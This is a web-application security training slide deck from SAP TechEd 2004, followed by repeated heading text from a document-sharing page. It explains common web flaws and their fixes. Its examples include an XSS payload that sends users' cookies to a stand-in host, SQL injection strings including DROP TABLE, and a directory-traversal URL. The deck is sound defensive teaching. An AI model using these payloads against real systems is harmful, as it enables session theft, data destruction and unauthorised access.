Writing Secure Web Applications

Writing Secure Web Applications
Andreas Wiegenstein - Chief Technical Officer

>>
>> Table of Contents
Security Statements
Know Your Enemy - How Hackers "Work"
Web Application Characteristics
Attack & Defense - Threats and Best Practices
General Best Practices
References and Further Reading
Q&A
© Virtual Forge 2004, SAP TechEd, SDN101, Writing Secure Web Applications / Andreas Wiegenstein
>>
>>
Security Statements

Q&A
>>
>> Security Statements
The challenge:
In order to secure an IT system, all of its components,
functions and threats must be understood
In order to break an IT system, only one flaw in any of its
components/functions has to be found
The problem:
Each new technology brings with it new vulnerabilities
Firewalls, Intrusion Detection Systems and Encryption don't
make a secure IT system
>>
>>
Security Statements

Q&A
>>
>> Know Your Enemy - How Hackers "Work"
Types of attackers:
Hackers
Script Kiddies
Social Engineers
(Disgruntled) Employees
>>
Types of attackers: Hackers

highly-skilled, but few in numbers
can find new security holes in systems
can find new types of attack
can write tools
break mostly into "challenging" systems
publish/trade weaknesses
¾ Hackers look for new security weaknesses
>>
Types of attackers: Script Kiddies

low-skilled, but numerous
use other peoples` tools and known exploits to break into
systems
multiply known attacks against vulnerable systems
goal is to "0WN" as many machines as possible
attack systems at will (with automated scripts)
¾ Script Kiddies look for systems vulnerable to known exploits
! Advice: Keep your systems patched
>>
Types of attackers: Social Engineers

very good technical as well as social skills
attacks are primarily directed against humans ('wetware')
trick employees in helping them to bypass security systems
use deception, persuasion and IT know-how to gather useful
information
goal is usually data theft
¾ Social Engineers look for clues on which they can base

their attacks.
>>
Types of attackers: (Disgruntled) Employees

use insider knowledge to gain system access
motivated by curiosity or anger
¾ Employees usually look for HR information (e.g. salary)

¾ Disgruntled employees will try to damage the IT infrastructure
>>
Types of attackers – Summary

different types of attackers
different motivations
different resources
¾ every company is a potential target

¾ new vulnerabilities can be discovered every day
¾ exploits spread quickly
¾ every unnecessary information in a web app can be dangerous
>>
Stages of an attack
Reconnaissance
Data analysis
Attack preparation
Attack
Clean up
>>
Stages of an attack - Reconnaissance

download HTML application
save HTTP stream
check forums for developer questions
read WHOIS data
use search engines to find "hidden" files on the target server
...
>>
Stages of an attack - Data analysis

search for comments in the HTML code
identify web server & OS
look for meta information (e.g. author)
search for server-side source code
determine all application input
deduce overall security by inducing errors
analyze the application logic
>>
Stages of an attack - Attack preparation

determine how the applications reacts to unexpected input
try tricking the application logic
deduce attack patterns
>>
Stages of an attack - Attack
Stages of an attack - Clean up

remove entries in log files
remove other traces
possibly install a backdoor
! Advice for hacked sites:

¾ secure the hard drive
¾ install everything from scratch
>>
Stages of an attack – Summary
Be very careful
which piece of data makes it into productive code
to remove old code/pages
what questions you ask in forums
to exhaustively test your applications
>>
>>
Security Statements

Q&A
>>
>> Web Application Characteristics
Remote Client (Browser)

requests resources and sends responses
Data transfer through an internet/intranet

data is sent through other (uncontrolled) servers
Web server, OS, Backend system/database

API
data storage
Text/MIME repository
Web application
processes client data
requests server data (through API calls)
>>
Remote GUI (Browser)
Could be any software able to send requests and receive responses
Threats:
Javascript may not work, hence input validation might not be
possible
client might change "unchangeable" data
hidden fields
select box values
Cookies
user agent
Referrer
...
client might ignore length restrictions
client might add or remove data
>>
Data transfer through internet/intranet
Threats:
data might be read or changed en route
someone else might assume the identity of the server
HTTPS
provides Confidentiality, Integrity, Authenticity (CIA)
! Caveat:
The quality of encryption can vary
Client authentication is not guaranteed
HTTPS might slip malicious code past a Firewall or IDS
HTTPS protects the data transfer between client and server -
nothing else
>>
Web server, OS, Backend system/database
! Most IT systems are not secure by default.
Threats:
system might not be configured securely
system might run unnecessary (dangerous) services/examples
system might be buggy
! Advice:
have an expert configure the systems for your needs
have an expert harden the systems
first test, then install patches
have an independent team run a penetration test
constantly repeat those steps
>>
Web application
Threats:
unexpected user input
manipulated data from the database/configuration file
manipulated text from a text repository
! Advice:
don't trust any input
use positive filters: only allow what's valid
validate all input for its destined context
The danger of malicious input is only clear and present in a

certain context. Only the web application knows that context.
>>
Summary
all client attacks against a web app must be carried out
through the HTTP(S) protocol
validating all input is the key to web application security
data transfer in an intranet/internet must be protected
keeping an IT system secure is an ongoing process, not a
single action
Remember: one flaw is all the attacker needs…
>>
>>
Security Statements

Q&A
>>
>> Attack & Defense - Threats and Best Practices
In-Band Signaling
Cross-Site Scripting
SQL injection
OS command injection
Forceful Browsing
Session Hijacking
Fault Induction
Directory Traversal
Cookie Poisoning
>>
In-Band Signaling is the act of transporting metadata and

control instructions inside the regular data sent.
Threat:
an application fails to separate the metadata and control
instructions from the data, resulting in Unwanted Command
Execution.
Risk:
arbitrary command execution on the server
Best practices:
metadata and control instructions must be escaped.
>>
In-Band Signaling - Cross-Site Scripting (XSS)
Threat:
an attacker manages to place HTML content into a page
someone else will open at a later time, possibly in a different
security context.
Risk:
Tampering with Data
execution of ActiveX commands
Information Disclosure
Stolen Cookie (SSO2 ticket)
Stolen data (Redirected forms)
>>
In-Band Signaling - Cross-Site Scripting (XSS) [ cont’d ]

Examples:
an online application viewed in a corporate intranet
a message posted to an online forum
an administrator opening a log file with a browser
Best practices:
escape HTML/Javascript control characters < > & " ' ( ) .
! Caveat:
attack methods vary depending on context
Note:
XSS attacks the client, not the server
>>
In-Band Signaling - Cross-Site Scripting (XSS) example code
Part of the companies intranet application:

public void doContent(...) {
...
String s;
if ((s = getUsernameByID("userid")) != null) {
response.write("<br>Applicant:<u>" + s + "</u>");
}
...
}
Supposed output:
<br>Applicant:<u>Smith</u>
>>
In-Band Signaling - Cross-Site Scripting (XSS) example attack
Data entered in the field "user name":

<script>
document.write('
<form name=hack method=post
action="http://www.example.org/grab.php">
<input type=hidden name=sid value="' + escape(document.cookie)
+ '">');
document.hack.submit();
</script>
Smith
>>
In-Band Signaling - Cross-Site Scripting (XSS) attack result

HTML output containing the applicants input, rendered in the
companies’ intranet:
<br>Applicant:<u>
<script>document.write(‘
<form name=hack method=post
action="http://www.example.org/grab.php">
<input type=hidden name=sid value=">' +
escape(document.cookie) + '">');
document.hack.submit();</script>
Smith
</u>
Visible output:
Applicant: Smith
>>
In-Band Signaling - Cross-Site Scripting (XSS) secure code
Security enhanced function:

public void doContent(...) {
...
String s;
if ((s = getUsernameByID("userid")) != null) {
s = StringUtils.encodeToHTML(s, 50);
response.write("<br>Applicant:<u>" + s + "</u>");
}
...
}
>>
In-Band Signaling - Cross-Site Scripting (XSS) SAP API’s
SAP System
WAS/ABAP: cl_http_utility->escape_html
EP5/EP6: several methods in class StringUtils
HTMLB: implicit protection
Web Dynpro: implicit protection
>>
In-Band Signaling - SQL injection
Threat:
An attacker manages to place SQL commands into an input
string that is used as a parameter in a database query.
Risk:
Tampering with Data
data can be changed/deleted without authorization
data can be read without authorization
Denial of Service
data can be deleted without authorization
Elevation of Privilege
depending on the database, system commands can be executed
>>
In-Band Signaling - SQL injection [ cont’d ]
Best practices:
validate input
remove/escape the character ' in strings
>>
In-Band Signaling - SQL injection example code

...
cUser = Request('user');
Conn = Server.CreateObject("ADODB.Connection");
Conn.Open(pDBName);
inSQL = "SELECT * FROM User WHERE UID='" + cUser + "'";
exSQL = sql_Exec(Conn, inSQL);
var bUserConfirmed = false;

if ((exSQL != null) && (!exSQL.EOF)) {
bUserFound = true;
}
...
>>
In-Band Signaling - SQL injection example data
(valid credentials)
URL http://www.example.com/hack.asp?user=smith23
SQL SELECT * FROM User WHERE UID='smith23'
> Welcome back, Mr. Smith!
(invalid credentials)
URL http://www.example.com/hack.asp?user=bad_guy
SQL SELECT * FROM User WHERE UID='bad_guy'
> Please provide the correct credentials.
>>
In-Band Signaling - SQL injection example attack and result
(#1: unexpected "credentials")

URL http://www.example.com/hack.asp?user=%27+OR+%27A%27=%27A
SQL SELECT * FROM User WHERE UID='' OR 'A'='A'
> Welcome back, Mr. Anderson!
(#2: nasty input)

URL http://www.example.com/hack.asp?user=%27;DROP+TABLE+User;
SQL SELECT * FROM User WHERE UID='';DROP TABLE User;
> [Denial of Service]
>>
In-Band Signalling - OS command injection
Threat:
An attacker manages to place OS commands into an input
string that is used as part of a system command issued by the
web app.
Risk:
complete system compromise
Best practices:
Don't execute system commands from a web app.
If you must execute commands, don't base them on user
input.
>>
Forceful Browsing
Threat:
A resource that is not reachable through normal application
logic is a accessed by directly navigating to its URL.
Risk:
(resource is a document)
(resource is a page)
Elevation of Privilege
Best practices:
All sensitive resources must be protected by strict access
control.
>>
Forceful Browsing examples
Application URLs
A) http://www.example.com/page1.html
B) http://www.example.com/2003/report.pdf
C) http://www.example.com/2003/report.pdf
Deductions
A) http://www.example.com/page2.html
B) http://www.example.com/2004/report.pdf
C) http://www.example.com/2003/
>>
Forceful Browsing
SAP System
ITS: Pages have coded IDs.
WAS: Authorization is per application.

Authorized users can access all pages.
EP5/EP6: Build-in access control mechanism for

iViews/components.
Some resources might be accessible.
Web Dynpro: Authorized users can access all views.
! Note: MIME files are always accessible.
>>
Session Hijacking
Threat:
An attacker might deduce another users session ID from his
own.
Risk:
Spoofing
Tampering With Data
Elevation of privilege
Best practices:
Use proven industry standards that have been reviewed by
experts.
If you must create your own session management, consult a
cryptographic expert.
>>
Session Hijacking example
Original Session ID (stored in a cookie)

"sid=u0000123"
Result
"Welcome Mr. Smith, you have no new messages"
Manipulated ID
"sid=u0000124"
Result
"Welcome Mr. Anderson, you have 5 new messages"
! All SAP systems provide secure session management.
>>
Fault Induction
Threat:
Error conditions are forced by manipulated input in order to
deduce information.
Risk:
Best practices:
Use proper input validation.
Display only general messages like "Invalid input" or "An error
has occurred."
>>
Fault Induction example
Application URL:
http://www.example.com/main.asp?disp=start.html
Manipulated URL:
http://www.example.com/main.asp?disp=#%;xy?
Application output:
An Error has occurred:
The file "c:\app\html\#%;xy?" could not be found.
>>
Directory Traversal
Threat:
Input that is used to look up files is modified in order to
access another file.
Risk:
Denial of Service
Best practices:
Use a positive filter to define all allowed resources.
>>
Directory Traversal example
Application URL
http://www.example.com/main.asp?disp=start.html
(Information deduced from Fault Induction)

Resource "start.html" resides in the folder "c:\app\html"
Exploit
http://www.example.com/main.asp?disp=..\..\winnt\win.ini
>>
Cookie Poisoning
Threat:
Application data stored in a cookie might be manipulated.
Risk:
Tampering with Data
Best practices:
Don't rely on data stored in cookies (they are input) ...
...unless this data is protected by cryptography (SSO2 ticket)
>>
Cookie Poisoning example
Shopping carts used to store pricing information in cookies.
(Part of a shopping cart applications' cookie)

item1_ID=12369&item1_pr=27,95&item2_ID=10334&item2_pr=19,95
> Total Amount: $47,90
(Manipulated cookie)
item1_ID=12369&item1_pr=0,95&item2_ID=10334&item2_pr=1,95
> Total Amount: $2,90
>>
Summary
all attacks shown have one thing in common: unexpected input
the best way to protect against unexpected input is by using
positive filters: only allow what's valid
! Advice
validate all input
only rely on server side data validation
reduce your input to its simplest form : canonicalization
! Only use the examples above to test application security

when you have written permission by an authorized person to
do so.
>>
>>
Security Statements

Q&A
>>
>> General Best Practices
Management:
Create a security policy regarding software development

...and make people read and follow it.
Perform risk analysis of all IT components on a regular basis

...to know what's at stake for your company.
Send your development staff to security trainings on a regular

basis.
Make security a priority

...because if you don't find the bugs in your systems, someone
else will.
Remember: one flaw is all the attacker needs…
>>
>> General Best Practices
Software Development:
Make security a part of your development cycle, not an

afterthought.
Make sure your developers receive sufficient training.
When contracting consultants make sure they follow your

security policy.
Perform security reviews by an internal team.
Have your IT systems and applications reviewed by an

independent (external) team.
>>
>>
Security Statements

Q&A
>>
>> References and Further Reading
Application security:
John Viega, Gary McGraw

"Building Secure Software: How to Avoid Security Problems
the Right Way"
Michael Howard, David LeBlanc

"Writing Secure Code, Second Edition
Social engineering:
Kevin Mitnick, William Simon, Steve Wozniak

"The Art of Deception: Controlling the Human Element of
Security"
>>
>>
Security Statements

Q&A
>>
>> Q&A
Thank you for your attention.

Writing Secure Web Applications

Transféré par

Informations du document

Description originale:

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

Writing Secure Web Applications

Transféré par

Droits d'auteur :

Formats disponibles

Writing Secure Web Applications

Andreas Wiegenstein - Chief Technical Officer

 Know Your Enemy - How Hackers "Work"

 Web Application Characteristics

 Attack & Defense - Threats and Best Practices

 General Best Practices

 References and Further Reading

Know Your Enemy - How Hackers "Work"

Web Application Characteristics

Attack & Defense - Threats and Best Practices

General Best Practices

References and Further Reading

Know Your Enemy - How Hackers "Work"

Web Application Characteristics

Attack & Defense - Threats and Best Practices

General Best Practices

References and Further Reading

Types of attackers: Hackers

¾ Hackers look for new security weaknesses

Types of attackers: Script Kiddies

¾ Script Kiddies look for systems vulnerable to known exploits

! Advice: Keep your systems patched

Types of attackers: Social Engineers

¾ Social Engineers look for clues on which they can base

Types of attackers: (Disgruntled) Employees

¾ Employees usually look for HR information (e.g. salary)

Types of attackers – Summary

¾ every company is a potential target

Stages of an attack - Reconnaissance

Stages of an attack - Data analysis

Stages of an attack - Attack preparation

Stages of an attack - Attack

Stages of an attack - Clean up

! Advice for hacked sites:

Stages of an attack – Summary

Know Your Enemy - How Hackers "Work"

Web Application Characteristics

Attack & Defense - Threats and Best Practices

General Best Practices

References and Further Reading

Remote Client (Browser)

Data transfer through an internet/intranet

Web server, OS, Backend system/database

Remote GUI (Browser)

Could be any software able to send requests and receive responses

Data transfer through internet/intranet

Web server, OS, Backend system/database

! Most IT systems are not secure by default.

The danger of malicious input is only clear and present in a

Remember: one flaw is all the attacker needs…

Know Your Enemy - How Hackers "Work"

Web Application Characteristics

Attack & Defense - Threats and Best Practices

General Best Practices

References and Further Reading

In-Band Signaling is the act of transporting metadata and

In-Band Signaling - Cross-Site Scripting (XSS)

In-Band Signaling - Cross-Site Scripting (XSS) [ cont’d ]

In-Band Signaling - Cross-Site Scripting (XSS) example code

Part of the companies intranet application:

In-Band Signaling - Cross-Site Scripting (XSS) example attack

Data entered in the field "user name":

In-Band Signaling - Cross-Site Scripting (XSS) attack result

Know Your Enemy - How Hackers "Work"

Web Application Characteristics

Attack & Defense - Threats and Best Practices

General Best Practices

References and Further Reading

Create a security policy regarding software development

Perform risk analysis of all IT components on a regular basis

Send your development staff to security trainings on a regular

Make security a priority

Make security a part of your development cycle, not an

Make sure your developers receive sufficient training.

When contracting consultants make sure they follow your

Perform security reviews by an internal team.

Have your IT systems and applications reviewed by an

John Viega, Gary McGraw

Michael Howard, David LeBlanc

Kevin Mitnick, William Simon, Steve Wozniak